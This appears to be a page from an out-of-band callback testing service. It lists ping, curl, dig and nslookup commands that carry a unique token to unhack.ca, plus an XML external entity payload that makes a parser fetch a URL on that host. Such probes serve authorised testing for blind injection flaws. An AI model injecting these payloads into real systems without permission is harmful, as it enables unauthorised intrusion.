$ ping -c1 -p 007cb5df3dc0535ba2cef53b5255a600 unhack.ca
 

$ curl http://unhack.ca/p/7cb5df3dc0535ba2cef53b5255a6
 

$ dig 7cb5df3dc0535ba2cef53b5255a6 @unhack.ca
 

$ dig 7cb5df3dc0535ba2cef53b5255a6.ns.unhack.ca
 

C:\> nslookup 7cb5df3dc0535ba2cef53b5255a6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7cb5df3dc0535ba2cef53b5255a6">]>
    <foo>&xxe;</foo>